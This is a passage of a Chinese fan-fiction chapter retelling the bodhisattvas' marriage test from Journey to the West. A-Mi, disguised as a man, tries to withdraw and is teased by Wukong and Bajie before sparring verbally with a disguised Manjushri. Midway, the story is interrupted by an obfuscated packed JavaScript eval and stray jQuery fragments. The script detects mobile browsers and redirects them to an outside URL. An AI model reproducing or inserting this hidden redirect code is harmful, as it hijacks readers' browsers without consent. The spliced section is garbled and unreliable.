阿宓没有想到,自己竟然会以这种方式,被卷入师徒几人的测试之中。
这种方式……
这种堪称自投罗网的搞笑方式……【捂脸.jpg】
——当然了,她同几位菩萨之间又不熟悉,如何能体会那种菩萨——而且还只是其中一位菩萨,因为自身性子的关系,所以“闲来无事看乐子”的心态呢?
不过她的反应也是极快,之前不想被三藏的态度扯进这场测试之中的时候,她灵光一闪、变作男儿身。
这会儿几位菩萨身为考官、因为不合格的被考验者只有一个,所以他们看起来好像并不介意连她也一块儿收拾了以后,阿宓又火速以当下的身份拱手作揖道,“未曾见到几位小姐之前,是阿——风自不量力、心存妄念了。”
“几位小姐国色天香、倾国倾城,宛若天上的明月般莹莹生辉,实在是叫风某自惭形秽、无地自容。”
“还请几位女菩萨准允在下退出这场择婿之会。”阿宓一语双关道。
刚刚自投罗网之人若是三藏,这会儿菩萨指定抓住机会、端肃面容,不会让他轻易地逃过他方才的那“一念之差”。
可还是那句话,这是师徒几人的测试,而非阿宓的。
所以她作势欲退,黎山老母变作的老妇人也只是笑看着文殊菩萨变作的、唯一一个对阿宓做出了回应——或者说因为他最快地做出了回应,所以其他人只能说是失了机会——的三女儿怜怜。
众人可不知这一众有内情之人、知晓个中有内情之人、跟还不知自己的根底已经被在场的少数人看透的有内情之人所打的机锋。
他们只见几位姑娘中最小也是最孩子气的那个,在阿宓临阵退缩之后,很是娇俏地原地跺了跺脚,紧接着就疑似眼中含泪地跑了出去。
风宓顿觉头皮发麻:不是吧?
她心想:不是,那位不知道是文殊还是普贤的菩萨,为什么就是不肯放过她啊?
三藏已经在用不赞同的眼神看向她了。目测今日过后,他肯定又有一大堆“委婉”的劝诫要说给她听。
悟空则更是直白,他的脸上净是不想遮、也遮不住的笑意。只见他十分不讲义气地推了推变身之后的阿宓的胳膊肘,就好像那个武侠古板男主身边的那个活泼好友,嘴上更是十分符合阿宓此刻的既视感地提醒道,“人都被你气走了,还不快追?”
“就是就是!”看似粗枝大叶、实则敏锐地观察到,方才几位小姐的目光可在阿宓的身上缠绕了不止一刻——毕竟阿宓属于是熟人、外人、令人心生好奇的外人,身上可谓是标签众多——的八戒可以说是机智、也可以说是相当不要脸面地道,“哥哥,可不敢做那摧兰折玉之人,还是赶紧追上去哄哄姑娘吧。”
为了支走阿宓这个强有力的竞争对手——他自认为,甚至连哥哥都叫上了。
于是对菩萨天然地就有一种正经的认知的阿宓又开始怀疑:难道怜怜姑娘只是想将她从考场现场支走吗?
想到这里,阿宓下意识地看向了悟空。
熟悉了以后就知道,这实在是一只谁的热闹跟笑话都能看、爱看、乐意看的乐子猴儿。
但同样也是相处了这么久,所以阿宓清楚地知道,一旦自己真正觉得窘迫,能够第一个发觉、并且马上站出来制止眼前发生的闹剧的人,也一定是他——他们花果山的大王——孙悟空。
接收到阿宓的眼神以后,悟空果然立即做出反应,他一个小跳来到三藏面前,站在他的身侧、斜抬着脑袋瞅着对方,“师父,我与阿风亲如兄弟,眼下他就要娶亲,老孙说什么都要看看去。嗯?”
“悟空。”风宓咬牙切齿地喊他。
他也不怕,反而还笑盈盈地,“莫生气、莫生气,快随我一起出去吧,别让人家姑娘等急了。”
风宓闻言,顿时无力地扫视过全场,在确认应该是没人能够帮助自己以后,这才蔫了吧唧地出门去了。
阿宓原还以为自己出门以后,菩萨就会不见人影,由着她一个人在这间大宅子里没头苍蝇似的乱撞、直到菩萨们维系这间宅子的幻象消失为止。
更惨一点,说不定她一出门就会撞见变回原身的菩萨,他一脸笑意或是一脸肃穆地问她是不是知错。
至于是什么错误,大抵是明知故犯、冒犯菩萨吧。
佛教不是有五眼六通的能力、连他人的心念都能感知吗?
若是那般,风宓这次也不是不可以勉强地认一下。
为什么这一次就愿意妥协了呢?
大抵是因为,仍旧是男儿装扮的阿宓出门以后,看到的既不是一片空白,也不是一位满身佛光的菩萨,而仍旧是一位娇俏的小娘子吧。
那位小娘子梳着灵动的灵蛇髻,发髻上斜斜地插着一支迎春花簪,还有数支精美的发钗做点缀。
令人一看便知这是个富贵之家,她是个不差钱的富家小姐。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17069515|184723||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
阿宓刚一出门,她就迈着小碎步走了过来,行动时宛如蜻蜓点水,优雅灵动。
“我就知道,你一定会追出来的。”话语间带着点小笃定的样子,简直是娇俏又惹人生爱。
知晓菩萨真身的阿宓却只觉得眼前一黑,她老老实实地拱手作揖,“其实我追出来,是为了给姑娘您赔罪的。”
“嗯?”怜怜嗔了一句,“你是说你原为女儿身的事儿?其实娘都跟我们说过了。”
“其实我原本是有一点儿介意的,但是——”说着,她侧身朝着前方害羞地小走了两步,复才回过头来,侧过小半张精致的侧颜,含羞带怯地同风宓道,“但是我一见你就觉得……”
后头那些依照逻辑来说应该是肉麻兮兮的话她是半点没说,却将该表达的能够引人遐想的内容全都表达了。
阿宓原本还有一些紧张跟头疼,这回毕竟是她想当然,仗着对方的阵仗中存在着一位对自己异常友好的观音菩萨,就肆意地变身掺和进这场考验之中。
不过严格来说,这也不是什么大错。
而且她既没诱导本来能够坚守本心的圣僧犯错,也没处于私心、保护禅心不足的猪八戒。
在这样的情况下,这位菩萨还这样不遗余力地套路自己,似乎非要套自己一次麻袋不可,风宓就十分不能理解了。
于是她斟酌又沉吟、沉吟又斟酌,在怜怜姑娘灵机一动、再出新招之前,抢先、主动出击道,“非也。”
“什么?”怜怜果然愣住。
阿宓已然十分从容,她勾起跟女体的自己相差无几的笑容,不出意外地潇洒肆意,再没有了方才羞涩窘迫的模样,“风某的意思是,在下并非是因为利用法术变成男子,才对姑娘心怀有愧的。”
“而是在见到姑娘之前,阿宓竟然想过,假装真心、对待姑娘,以赢得人间数十年的富贵生活。”
“不过在见到姑娘们的第一眼,阿宓即刻便愧悔了。”
她低头看向菩萨变身成为的姑娘,假做自己当真如此单纯地说道,“三位姑娘的年纪看起来跟阿宓差不多大呢。”
“能够狠得下心来欺骗像姑娘这样的人,他还是人吗?”
阿宓也不知道,自己这指桑骂槐说得够不够隐晦。
兴许在象征着智慧的文殊菩萨的耳朵里,这通话语同直白地指着他的鼻子骂也没有什么不同的意味了吧。
因为“怜怜姑娘”的表情跟姿态霎时变了。